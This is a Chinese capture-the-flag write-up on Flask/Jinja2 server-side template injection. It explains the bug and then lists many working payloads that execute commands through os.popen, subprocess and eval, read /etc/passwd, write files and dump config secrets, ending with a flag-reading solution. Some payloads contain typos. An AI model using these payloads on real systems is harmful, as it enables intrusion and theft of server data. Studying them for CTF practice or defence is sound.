攻防世界_Web_python_template_injection
Web_python_template_injection
服务器端模板注入SSTI
SSTI
SSTI(Server Side Template Injection,服务器端模板注入),而模板指的就是Web开发中所使用的模板引擎。模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以因此分离,代码复用变得简单,开发效率也随之提高。
服务器端使用模板,通过模板引擎对数据进行渲染,再传递给用户,就可以针对特定用户/特定参数生成相应的页面。我们可以类比百度搜索,搜索不同词条得到的结果页面是不同的,但页面的框架是基本不变的。
Flask中的Jinja2
在Python中,该漏洞常见于Flask(一个轻量级Web应用框架)模块中,Flask使用Jinja2作为模板引擎,Jinja2支持以下语法进行数据渲染:
#{{}}:将花括号内的内容作为表达式执行并返回对应结果
{{3*4}} # 会被解析为12
{% set s = 'Tuzk1' %} # 使用set声明变量
{% if var is true %}Tuzk1{%endif%} # 条件语句
{% for i in range(3) %}Tuzk1{%endfor%} # 循环语句
{##}:注释
漏洞成因
当用户输入被直接拼接到模板中(而非安全渲染),攻击者可插入模板语法(如{{...}}、<%=...%>),导致服务器执行恶意代码。
漏洞原理
由于对用户输入过滤不严,攻击者可以通过构造恶意数据,使服务器模板引擎渲染这部分数据,从而达到读取文件、RCE等目的。
出现特征
使用{{10-1}}作为参数id传入,可以看到表达式被成功执行,这就是SSTI漏洞出现的特征。
漏洞利用
- 随便找个倒霉的内置类:[]、""
- 通过这个类获取到object类:base、bases、mro
- 通过object类获取所有子类:subclasses()
- 在子类列表中找到可以利用的类
- 直接调用类下面函数或使用该类空间下可用的其他模块的函数
魔术方法
| 魔术方法 | 作用 |
|---|---|
| init | 对象的初始化方法 |
| class | 返回对象所属的类 |
| module | 返回类所在的模块 |
| mro | 返回类的调用顺序,可以此找到其父类(用于找父类) |
| base | 获取类的直接父类(用于找父类) |
| bases | 获取父类的元组,按它们出现的先后排序(用于找父类) |
| dict | 返回当前类的函数、属性、全局变量等 |
| subclasses | 返回所有仍处于活动状态的引用的列表,列表按定义顺序排列(用于找子类) |
| globals | 获取函数所属空间下可使用的模块、方法及变量(用于访问全局变量) |
| import | 用于导入模块,经常用于导入os模块 |
| builtins | 返回Python中的内置函数,如eval |
寻找可以利用类
#获取对象所属的类
''.__class__
<class 'str'>
().__class__
<class 'tuple'>
[].__class__
<class 'list'>
"".__class__
<class 'str'>
# 获取父类
>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
# 获取子类
''.__class__.__base__.__subclasses__()
''.__class__.__bases__[0].__subclasses__()
''.__class__.__mro__[-1].__subclasses__()
''.__class__ 是一个 Python 表达式,用于获取空字符串('')的类。在 Python 中,所有的数据都是对象,每个对象都有一个类。通过 .__class__ 属性,我们可以查看对象的类。
对于空字符串 '',它的类是 str,表示它是一个字符串对象。所以,''.__class__ 的结果是 <class 'str'>。
__mro__ 是 Python 中的一个特殊属性,用于获取一个类的方法解析顺序(Method Resolution Order)。它返回一个包含该类及其所有基类的元组,按照方法查找的顺序排列。
在 Python 中,当调用一个对象的方法时,Python 会首先在该对象的类中查找该方法,如果找不到,则会依次在其基类中查找,直到找到为止。__mro__ 属性就是用来表示这种查找顺序的。
构造payload
于是构造payload,可以获取配置文件、XSS、进行RCE(反弹shell也行)或者文件读写:
# 获取配置信息
{{config}} # 能获取到config,它包含了如数据库链接字符串、连接到第三方的凭证、SECRET_KEY等敏感信息
{{request.environ}} # 服务器环境信息
# XSS(本文主要讲SSTI的RCE姿势,XSS过滤不展开讲)
name=<script>alert(/YouAreHacked/)</script>
# 利用warnings.catch_warnings配合__builtins__得到eval函数,直接梭哈(常用)
{{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()}}
# 利用os._wrap_close类所属空间下可用的popen函数进行RCE的payload
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
# 利用subprocess.Popen类进行RCE的payload
{{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
# 利用__import__导入os模块进行利用
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
# 利用linecache类所属空间下可用的os模块进行RCE的payload,假设linecache为第250个子类
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
{{[].__class__.__base__.__subclasses__()[250].__init__.func_globals['linecache'].__dict__.['os'].popen('whoami').read()}}
# 利用file类(python3将file类删除了,因此只有python2可用)进行文件读
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').readlines()}}
# 利用file类进行文件写(python2的str类型不直接从属于属于基类,所以要两次 .__bases__)
{{"".__class__.__bases[0]__.__bases__[0].__subclasses__()[40]('/tmp').write('test')}}
# 通用getshell,都是通过__builtins__调用eval进行代码执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
# 读写文件,通过__builtins__调用open进行文件读写
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
python os.system()和os.popen()
python调用Shell脚本,有两种方法:os.system()和os.popen(),前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容。
os位于site._Printer中
wp
判断是否存在python模板注入
{{7+6}} #回显出13
#{{5/2}}可以判断python2还是3 python2输出2 python3输出2.5
找到当前变量所在的类
{{''.__class__}}
寻找基类
{{''.__class__.__mro__}}

通过基类寻找其中任意一个基类的引用列表
{{''.__class__.__mro__[2].__subclasses__()}}
在回复的列表中查找os所在的site_Printer类,在列表第72位,即为__subclasses__()[71]
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
#__init__:类的初始化方法(构造函数)
#__globals__:函数的全局变量字典(globals()),存储该函数所在模块的所有全局变量(包括导入的模块)。
#['os']:从全局变量字典中获取 os 模块。通过 __globals__ 可以间接访问 os
#➔ 获取某个类的 __init__ 方法所在模块的全局变量中的 os 模块。

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4f').read()}}

浙公网安备 33010602011771号